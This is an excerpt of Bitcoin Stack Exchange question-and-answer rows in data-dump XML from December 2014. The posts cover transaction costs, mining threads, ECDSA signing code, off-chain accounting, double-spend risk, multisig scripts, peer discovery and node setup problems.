  <row Id="32924" PostTypeId="2" ParentId="32923" CreationDate="2014-12-08T08:47:18.373" Score="7" Body="&lt;p&gt;On the &lt;a href=&quot;https://blockchain.info/charts&quot; rel=&quot;nofollow noreferrer&quot;&gt;chart overview page&lt;/a&gt; you find the description &lt;strong&gt;&quot;Cost per Transaction: A chart showing miners revenue divided by the number of transactions.&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, it's the &lt;strong&gt;total&lt;/strong&gt; value of the block reward of a block &lt;em&gt;divided&lt;/em&gt; by the number of transactions confirmed on the network in that block.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is an example with made up numbers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block reward is &lt;code&gt;25 BTC + 0.1 BTC&lt;/code&gt; in transaction fees. &lt;/li&gt;&#xA;&lt;li&gt;There are &lt;code&gt;502&lt;/code&gt; transactions in the block.&lt;/li&gt;&#xA;&lt;li&gt;Current exchange rate is &lt;code&gt;367.3 USD/BTC&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;25.1 BTC / 502 transactions = 0.05 BTC per transaction&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;367.30 USD/BTC * 0.05 BTC per transaction = $18.37 per transaction&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Concerning what will happen after the regular block reward is reduced/discontinued, check out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3111/5406&quot;&gt;Will Bitcoin suffer from a mining Tragedy of the Commons when mining fees drop to zero?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/876/5406&quot;&gt;How much will transaction fees eventually be?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4796/5406&quot;&gt;What happens once the mining reward gets cut in half?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-12-09T14:56:17.773" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32927" PostTypeId="2" ParentId="10931" CreationDate="2014-12-08T13:15:22.693" Score="3" Body="&lt;p&gt;One instance of minerd is all you're going to need. The application also synchronizes with the pool. So opening more than 1 instance of minerd is just going to cause your network to be used twice for the same information. Also, the operating system has some overhead for running the application. Opening another instance will mean more overhead and thus less hashes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a CPU with hyper-threading, so you have 8 logical cores, this is not the same as having 8 physical cores. Have you tried running it with 4 threads (just for fun)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, imagine having a racetrack with 4 lanes. You can drive 8 or 16 cars on it. But you'll still have to let 4 cars drive side-by-side at a time. You can throw any amount of cars at it as you want, but someone is going to have to synchronise those cars, so that'll just mean the racetrack is used less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you should have 8 cars on a 4 lane racetrack. This way the cars that have exited the racetrack have some time to exchange their lap times while the other 4 cars use the racetrack. They can then almost perfectly relieve each other, like a relay race.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having less than 4 cars on this racetrack means the racetrack will not be used all the time, since the racers in the cars want to exchange their lap times with each other after exiting the racetrack (the processes want to give back a result to the minerd thread).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having more than 8 cars means there will always be cars waiting to enter the racetrack, so you'll just have cars waiting a lot of time before they can race on the racetrack.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2014-12-08T13:15:22.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32928" PostTypeId="1" AcceptedAnswerId="32962" CreationDate="2014-12-08T15:47:29.853" Score="4" ViewCount="916" Body="&lt;p&gt;Below is the &lt;code&gt;CECKey::Sign()&lt;/code&gt; code (v0.9.3).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool Sign(const uint256 &amp;amp;hash, std::vector&amp;lt;unsigned char&amp;gt;&amp;amp; vchSig) {&#xA;    vchSig.clear();&#xA;    ECDSA_SIG *sig = ECDSA_do_sign((unsigned char*)&amp;amp;hash, sizeof(hash), pkey);&#xA;    if (sig == NULL)&#xA;        return false;&#xA;    BN_CTX *ctx = BN_CTX_new();&#xA;    BN_CTX_start(ctx);&#xA;    const EC_GROUP *group = EC_KEY_get0_group(pkey);&#xA;    BIGNUM *order = BN_CTX_get(ctx);&#xA;    BIGNUM *halforder = BN_CTX_get(ctx);&#xA;    EC_GROUP_get_order(group, order, ctx);&#xA;    BN_rshift1(halforder, order);&#xA;    if (BN_cmp(sig-&amp;gt;s, halforder) &amp;gt; 0) {&#xA;        // enforce low S values, by negating the value (modulo the order) if above order/2.&#xA;        BN_sub(sig-&amp;gt;s, order, sig-&amp;gt;s);&#xA;    }&#xA;    BN_CTX_end(ctx);&#xA;    BN_CTX_free(ctx);&#xA;    unsigned int nSize = ECDSA_size(pkey);&#xA;    vchSig.resize(nSize); // Make sure it is big enough&#xA;    unsigned char *pos = &amp;amp;vchSig[0];&#xA;    nSize = i2d_ECDSA_SIG(sig, &amp;amp;pos);&#xA;    ECDSA_SIG_free(sig);&#xA;    vchSig.resize(nSize); // Shrink to fit actual size&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I specify which nonce is used in the &lt;code&gt;ECDSA_do_sign()&lt;/code&gt;? By nonce, I am referring to the &lt;code&gt;k&lt;/code&gt; value described here: &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2021-12-11T22:36:54.873" Title="How to specify ECDSA nonce used in bitcoin signing code?" Tags="|bitcoin-core-development|signature|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32930" PostTypeId="2" ParentId="32842" CreationDate="2014-12-08T15:58:13.107" Score="1" Body="&lt;p&gt;I don't know the best way. But what I do is talk about it all the time. And actually use the bitcoins. I mean purchase things with your bitcoin not trade with them on exchange networks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I buy a new product with my bitcoins and use it in front of my friends and family. Those who are interested ask where I got it, and then ask how much I spent on it. My response is in bitcoins. eg it was just 0.10 bitcoins very decent deal. Or it is just 2 bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that when selling an idea of bitcoin by saying things like 0.10BTC is worth $60.00 today I tend to get strange looks. Like so you spend $60.00 on 10 cents? People have a hard time understanding concept of ForEx and values of money when comparing one currency with another. It is more successful when you buy something and explain that you purchased it with bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also Christmas is coming up. And I've made paper wallets loaded with bitcoins. And on the paper wallets I have a list of websites that accept bitcoins as payments. So it is like a gift card and it helps people get the idea of what bitcoin is.&lt;/p&gt;&#xA;" OwnerUserId="6017" LastEditorUserId="6017" LastEditDate="2014-12-08T16:15:00.570" LastActivityDate="2014-12-08T16:15:00.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32931" PostTypeId="2" ParentId="32817" CreationDate="2014-12-08T17:18:49.913" Score="1" Body="&lt;p&gt;The certificates have been fixed and SSL/HTTPs is working properly now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TXID referrers to the transaction ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N referrers to which input you want to use from that transaction.&lt;/p&gt;&#xA;" OwnerUserId="21446" LastActivityDate="2014-12-08T17:18:49.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32932" PostTypeId="1" AcceptedAnswerId="32949" CreationDate="2014-12-08T18:05:26.503" Score="1" ViewCount="1973" Body="&lt;p&gt;It seems like Armory and Bitcoin Core are taking up 78GB so far, and it's not even done downloading.  How much more space will I need?  Is it possible to get rid of some of the data after it is all done?   So far the Building Databases step has taken up the most GB.  I'm using it on Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="21301" LastEditorUserId="2306" LastEditDate="2014-12-08T18:56:56.363" LastActivityDate="2014-12-10T13:19:36.160" Title="How much space does armory and the latest version of Bitcoin-Qt take up, together?" Tags="|bitcoin-core|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32933" PostTypeId="1" CreationDate="2014-12-08T19:16:23.873" Score="1" ViewCount="138" Body="&lt;p&gt;I've got a PeerCoin pool which was working great, and I realized that I didn't set the confirmations to 520, but instead I had them set to 120 and now I've got a message stating the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are investingating issues in the backend. Your shares and hashrate are safe and we will fix things ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Payouts disabled, you will not receive any coins to your offline wallet for the time being&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a block.  I went back and set the confirmations to 520 in both the MPOS and stratum server config files.  I rebooted the server but I'm still getting the message because I think that the payouts where run with the wrong confirmations.  How can I reset this so that payouts will run again with the confirmations? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="21406" LastActivityDate="2014-12-08T19:16:23.873" Title="PeerCoin Pool Payout Issue" Tags="|peercoin|" AnswerCount="0" CommentCount="4" ClosedDate="2019-07-17T21:04:57.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="32934" PostTypeId="1" CreationDate="2014-12-08T19:32:05.730" Score="1" ViewCount="978" Body="&lt;p&gt;I've searched in vain, but not been able to find a &lt;em&gt;detailed&lt;/em&gt; explanation of how off-chain transactions work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I have some BTC on the public blockchain and I want to transfer some of it to someone's wallet off-chain (e.g. we're both using Coinbase) what actually happens? Do I first need to transfer some BTC to a public bitcoin address owned by the wallet provider? This would be akin to Ripple's gateway model I think. If I didn't do this I could double spend (1 tx off-chain and another on-chain), right?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I get back on-chain? Is it simply that (assuming I'm correct above) the wallet provider knows my balance off-chain and will make a transfer to my address on-chain? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19157" LastActivityDate="2014-12-08T19:47:08.813" Title="How do off-chain transactions get back on-chain?" Tags="|off-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32935" PostTypeId="2" ParentId="32934" CreationDate="2014-12-08T19:43:41.157" Score="6" Body="&lt;p&gt;Coins don't really move &quot;off-chain&quot;, in the described case you would send money to an address at Coinbase that is associated with your friend's account. As Coinbase manages their customers' accounts for them, he would see on his account page that his balance increased, but he wouldn't be in control of the private key associated with the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to &quot;move coins off-chain&quot;, means that only the accounted values were updated, while no coins actually moved on the blockchain. Just as if a bank is wiring money from one of their own customers to another own customer, they wouldn't take the money from the vault then put it back, no they would just update the two accounts involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Coinbase it would work like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Coinbase internal accounting:&lt;br&gt;&#xA;rageofreason: 1BTC&lt;br&gt;&#xA;friend: 0.5BTC  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) rageofreason sends friend 0.4BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Coinbase internal accounting:&lt;br&gt;&#xA;rageofreason: 0.6BTC&lt;br&gt;&#xA;friend: 0.9BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They just update the accounts, no actual bitcoins were moved. Now, when friend closes his Coinbase account he will want them to send the 0.9BTC to an address directly under his control. That moment, bitcoins will move on the chain, as they actually need to be moved to that address instead of just updating balances in the internal accounting of Coinbase.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-08T19:43:41.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32936" PostTypeId="2" ParentId="32934" CreationDate="2014-12-08T19:47:08.813" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I first need to transfer some BTC to a public bitcoin address owned by the wallet provider?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it simply that (assuming I'm correct above) the wallet provider knows my balance off-chain and will make a transfer to my address on-chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've searched in vain, but not been able to find a detailed explanation of how off-chain transactions work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's because there are multiple ways of doing it. The simplest way of doing this is to run a service that keeps a database of users, and records how much Bitcoin each one has. From the point of view of the blockchain, there's one big pile of Bitcoins, and only the service needs to keep track of whose Bitcoins are whose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of doing it is track who owns which Bitcoins with a distributed database, like Open Transactions or Ripple. This lessens the demand on you to keep the database secure and backed up, but is more complicated.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-08T19:47:08.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32937" PostTypeId="1" AcceptedAnswerId="32939" CreationDate="2014-12-09T01:56:27.130" Score="0" ViewCount="121" Body="&lt;p&gt;How do you inspect a bitcoin transaction to avoid getting scammed by a double spender?   I'm buying bitcoins in cash and the seller said I could inspect a transaction instead of waiting 6 blocks.   Is this safe? &lt;/p&gt;&#xA;" OwnerUserId="21301" LastActivityDate="2014-12-09T03:34:17.747" Title="How do you inspect a transaction?" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32939" PostTypeId="2" ParentId="32937" CreationDate="2014-12-09T03:34:17.747" Score="3" Body="&lt;p&gt;There are no means of inspection that could lead to a safe assumption that a transaction will not get invalidated by a double-spent input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving up your money and leaving the trade with zero-confirmed coins is asking to get scammed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for one confirmation is only safe if you are certain that the seller exchanged a total of less than &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;25 coins&lt;/a&gt; over the past few minutes (both in-person and online) and does not control &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;50% or more of the network's total hashing power&lt;/a&gt; (so it wouldn't cost him a penny to perform this kind of attack). Luckily for you &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;the most a mining pool currently holds is 25% of the network's total hashing power&lt;/a&gt; (attacks are still possible at that rate but less likely to succeed and cost more for the attacker) but unfortunately you can never be sure that the seller or a partner-in-crime didn't spend more than 25 coins online so one confirmation won't do the trick either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for more confirmations will always increase your security to a great extent. 6-blocks confirmations are not 100% safe either but they are way much more secure than single-block confirmations in all aspects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, a reliable &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Escrow_Service&quot; rel=&quot;nofollow&quot;&gt;escrow service&lt;/a&gt; could take the hassle away and make your life easier when trading with strangers on the street.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-12-09T03:34:17.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32940" PostTypeId="2" ParentId="32909" CreationDate="2014-12-09T10:45:35.473" Score="5" Body="&lt;p&gt;You can send bitcoins to the same address you are sending from, if you create a raw transaction manually, or if you use a wallet that does not create a new change address each time a transaction is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One reason why this new address process exists is to protect privacy. If you consider that the outputs of a transaction with change, where one of the outputs points back to itself, you will immediately be able to determine how much you paid, and factually, that you paid that amount to someone else, keeping the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other had a different address is used for change, an independent observer cannot determine which of the two amounts was change and which was the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what I suspect you are doing is the classic mistake of thinking that the difference between what you are paying to the other address and what was in the originating address is automatically sent back to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot emphasize this enough - the difference is sent to the miner as a mining fee. You have in effect not explicitly told the transaction what to do with the difference and it is therefore assumed that this is a fee that you are paying, and is collected by the miner who mines the block containing your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to avoid this, each transaction must have a minimum of two explicit payments, and one implicit payment:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Input amount &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payment to address 1 (must be less than input)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Payment to address 2 (must be change minus the fee that you want to pay)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The input must be explicitly greater than the sum of payment 1 and 2, and anything left over is implicitly the miners fee&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2014-12-09T10:53:46.193" LastActivityDate="2014-12-09T10:53:46.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32942" PostTypeId="1" AcceptedAnswerId="32944" CreationDate="2014-12-10T03:17:15.990" Score="0" ViewCount="469" Body="&lt;p&gt;Pay to public key hash scripts hash the recipients public key for added security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the same done with the public keys that make up part of a multisig script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt; doesn't seem to indicate they are.&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2014-12-10T03:28:23.810" Title="Are the keys in a multisig transaction output hashed?" Tags="|transactions|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32943" PostTypeId="2" ParentId="32942" CreationDate="2014-12-10T03:27:46.753" Score="3" Body="&lt;p&gt;Typically, you will use P2SH (pay to script hash) for multisig transactions, which means the transaction output does not contain the full script (with full public keys), but instead a hash of that script - and the full script is revealed when spending. See BIP16 for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is done, you get the same effect: the transaction output does not contain a public key directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there is indeed a  small security benefit to this (it takes 2^160 steps in theory to reverse the hash function, while it takes 2^128 steps to find a private key for a given public key), but there are larger advantages (like the sender not needing to know the full script, and less data in the database of unspent transaction outputs that every full node maintains).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-12-10T03:27:46.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32944" PostTypeId="2" ParentId="32942" CreationDate="2014-12-10T03:28:23.810" Score="3" Body="&lt;p&gt;Yes and no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a bare multisig pubkey script, the public keys are not hashed.  For example, a 2-of-3 pubkey script would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 &amp;lt;pubkey1&amp;gt; &amp;lt;pubkey2&amp;gt; &amp;lt;pubkey3&amp;gt; 3 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a multisig pay-to-script-hash (P2SH) script, the whole redeem script---including the public keys---would be hashed.  For example, the redeem script would be the same as above, but the actual pubkey script would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 &amp;lt;Hash160(redeemScript)&amp;gt; OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Almost all multisig transactions on the network currently use P2SH multisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, although there is some hypothetical security increase from hashing public keys in case of a major problem with ECDSA, the main reason for hashing public keys is to create short addresses.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-10T03:28:23.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32945" PostTypeId="1" CreationDate="2014-12-10T08:19:22.817" Score="3" ViewCount="91" Body="&lt;p&gt;I want to get blocks on my node with &lt;a href=&quot;https://github.com/bitpay/bitcore&quot; rel=&quot;nofollow&quot;&gt;bitcore&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'm using peermanager.js and I get transactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var handleTx = function(info) {&#xA;  var tx = info.message.tx.getStandardizedObject();&#xA;  console.log('** TX Received **');&#xA;  console.log(tx);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it's printing transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I use this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var handleBlock = function(info) {&#xA;  console.log('** Block Received **');&#xA;  console.log(info.message);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't log anything to the console.&lt;/p&gt;&#xA;" OwnerUserId="21438" LastEditorDisplayName="user11221" LastEditDate="2014-12-11T00:09:08.570" LastActivityDate="2014-12-11T00:09:08.570" Title="Incoming block handler is never called when using bitcore" Tags="|bitpay|bitcore|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32949" PostTypeId="2" ParentId="32932" CreationDate="2014-12-10T13:19:36.160" Score="1" Body="&lt;p&gt;In total, it's about &lt;strong&gt;61GB&lt;/strong&gt; for me right now. In general, it should be about twice the &lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;size of the blockchain&lt;/a&gt; (which is always growing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can be some intermediate files (e.g. &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;bootstrap.dat&lt;/a&gt;, 21GB currently; or Armory's similar torrent) involved that increase how much space you need during initial setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These can be deleted when you're done using them. (In the case of bootstrap.dat, that's when Bitcoin Core finishes loading data from disk; it's not deleted automatically, you'd delete it manually.)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-12-10T13:19:36.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32951" PostTypeId="1" CreationDate="2014-12-10T14:43:43.350" Score="0" ViewCount="49" Body="&lt;p&gt;I would like to clarify how a client connect with peers. I guess the client has a database which looks for possible peers and how long it connected to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of the first connection, introduction to the network, it cannot find anything in its database. Then it goes on with checking some known DNS addresses(are these hardcoded?). If that methid fails too, the client has inside its source code hardcoded IP addresses in which it can connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if my above assumptions are correct and if you have anything more to add i would be grateful.&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2014-12-10T14:53:20.807" Title="Bitcoin Peers Connection" Tags="|connection|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-12-10T15:05:33.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="32952" PostTypeId="2" ParentId="2027" CreationDate="2014-12-10T14:53:20.807" Score="6" Body="&lt;p&gt;The connection method depends on the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core will spend up to 11 seconds trying to connect to a peer in its database.  If that doesn't work, it will query a DNS server (known as a DNS seed) to get addresses for peers the seed believes are active.  If that doesn't work within 60 seconds, it will fallback to one of its hardcoded addresses.  Once a connection is made to a remote peer, the local node will request more addresses from that remote peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clients may work differently---for example, BitcoinJ by default jumps straight to querying the DNS seeds.  If that doesn't work, it will fallback to hardcoded addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few more details may be found in the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#peer-discovery&quot; rel=&quot;nofollow&quot;&gt;Peer Discovery section of the Bitcoin.org Developer Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2014-12-10T16:10:28.953" LastActivityDate="2014-12-10T16:10:28.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32953" PostTypeId="2" ParentId="197" CreationDate="2014-12-10T18:37:32.840" Score="1" Body="&lt;p&gt;There is a new cryptocurrency on the block (Reversecoin), that offers functionality to reverse ones transactions. Say a hacker gets your coins, you can cancel the transactions and get your coins another safe address of yours. Reversecoin does this in a completely distributed fashion, with out needing for any kind of central or third party. Check out our website &lt;a href=&quot;http://www.reversecoin.org&quot; rel=&quot;nofollow&quot;&gt;Reversecoin&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I am the lead dev for Reversecoin.&lt;/p&gt;&#xA;" OwnerUserId="1478" LastActivityDate="2014-12-10T18:37:32.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32954" PostTypeId="1" AcceptedAnswerId="32957" CreationDate="2014-12-10T22:10:48.763" Score="3" ViewCount="115" Body="&lt;p&gt;I understand that some transactions may never get into a block, esp those with zero fee or with a fee below the current suggested minimum (which makes me wonder about tx fee inflation, but that's another Q).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a merchant accepting BTC for small purchases say, in effect, &quot;I'll accept your $3 BTC payment for a coffee with zero block confirmations but I do want to see that you sent it with at least x Satoshis of fee?&quot; Or perhaps this is already the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does, or were to happen, what mechanism(s) would the merchant use in order to get this small assurance?&lt;/p&gt;&#xA;" OwnerUserId="21468" LastActivityDate="2014-12-10T23:12:06.383" Title="Is there a way for merchants to insist on a tx fee to increase likelihood of the tx (eventually) being accepted into the blockchain?" Tags="|transaction-fees|zero-confirmation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32955" PostTypeId="1" CreationDate="2014-11-22T12:43:46.437" Score="1" ViewCount="139" Body="&lt;p&gt;When I try to start bitcoind on Centos 5.8 I immediately receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.11' not found (required by bitcoind)&#xA;bitcoind: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by bitcoind)&#xA;bitcoind: /lib/libc.so.6: version `GLIBC_2.7' not found (required by bitcoind)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the version of glibc I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings /usr/lib/libstdc++.so.6|grep GLIBCXX&#xA;GLIBCXX_3.4&#xA;GLIBCXX_3.4.1&#xA;GLIBCXX_3.4.2&#xA;GLIBCXX_3.4.3&#xA;GLIBCXX_3.4.4&#xA;GLIBCXX_3.4.5&#xA;GLIBCXX_3.4.6&#xA;GLIBCXX_3.4.7&#xA;GLIBCXX_3.4.8&#xA;GLIBCXX_FORCE_NEW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;About my operating system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OS: CentOS release 5.8 (Final) i686 &lt;/li&gt;&#xA;&lt;li&gt;Glibc version: glibc-2.5-123 &lt;/li&gt;&#xA;&lt;li&gt;libstdc++ version: libstdc++-4.1.2-55.el5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="mikj" LastEditorUserId="2306" LastEditDate="2014-12-10T22:35:05.597" LastActivityDate="2020-01-06T18:43:45.317" Title="Bitcoind fails to start on Centos 5.8" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
